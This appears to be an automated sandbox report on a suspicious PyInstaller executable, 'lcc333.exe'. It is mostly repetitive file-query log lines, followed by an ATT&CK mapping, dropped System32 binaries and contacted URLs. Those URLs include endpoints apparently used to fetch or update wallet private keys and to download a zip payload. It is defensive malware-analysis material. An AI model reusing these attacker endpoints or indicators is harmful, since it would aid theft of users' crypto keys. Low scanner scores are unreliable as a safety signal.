Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md.cp312-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md__mypyc.cp312-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\certifi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\windows2.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\windows2.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\windows2.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Windows\System32\python.bat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Windows\System32\app_process.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Windows\System32\AutoDesk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Windows\System32\play.bat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Windows\System32\nircmd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.bat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\lcc333.exe

Code function: 0_2_00007FF714C8D010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF714C8D010

Source: C:\Users\user\Desktop\lcc333.exe

Code function: 0_2_00007FF714CA5C00 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF714CA5C00

Source: C:\Windows\System32\nircmd.exe

Code function: 15_2_0000000140002BB0 GetVersionExA,

15_2_0000000140002BB0

Source: C:\Windows\System32\app_process.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	22 Process Injection	121 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	3 Clipboard Data	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	22 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	25 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
lcc333.exe	5%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI6122\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md__mypyc.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\python312.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI6122\unicodedata.pyd	0%	ReversingLabs
C:\Windows\System32\AutoDesk.exe	17%	ReversingLabs
C:\Windows\System32\nircmd.exe	4%	ReversingLabs

Source	Detection	Scanner	Label
http://nircmd.nirsoft.net/%s.htmlhttp://nircmd.nirsoft.net	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529493	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529467	0%	Avira URL Cloud	safe
http://20.2.154.66:48080/admin-api/ore/wallet/getPri	0%	Avira URL Cloud	safe
http://43.199.41.35:8080/windows2.zip	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529527	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529528	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529500	0%	Avira URL Cloud	safe
http://repository.swisssign.com/E%	0%	Avira URL Cloud	safe
https://www.nirsoft.netopenIf	0%	Avira URL Cloud	safe
http://20.2.154.66:48080/admin-api/ore/wallet/updatePri?pub=4ACz7dexqbAN71zD5WANZLKDYQuhz8D4j6pdkmyK	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529460	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529501	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529508	0%	Avira URL Cloud	safe
http://20.2.154.66:48080/admin-api/ore/wallet/updatePri?pub=7KD5XxiuTcgebvuXysq3sFXGS4A2UZTkANkpjuZJ	0%	Avira URL Cloud	safe
http://nircmd.nirsoft.net	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529473	0%	Avira URL Cloud	safe
http://nircmd.nirsoft.net/%s.html	0%	Avira URL Cloud	safe
http://20.2.154.66:48080/admin-api/ore/wallet/getPrisrc	0%	Avira URL Cloud	safe
https://ec1ipse.me/v2/ws?timestamp=1732529514	0%	Avira URL Cloud	safe
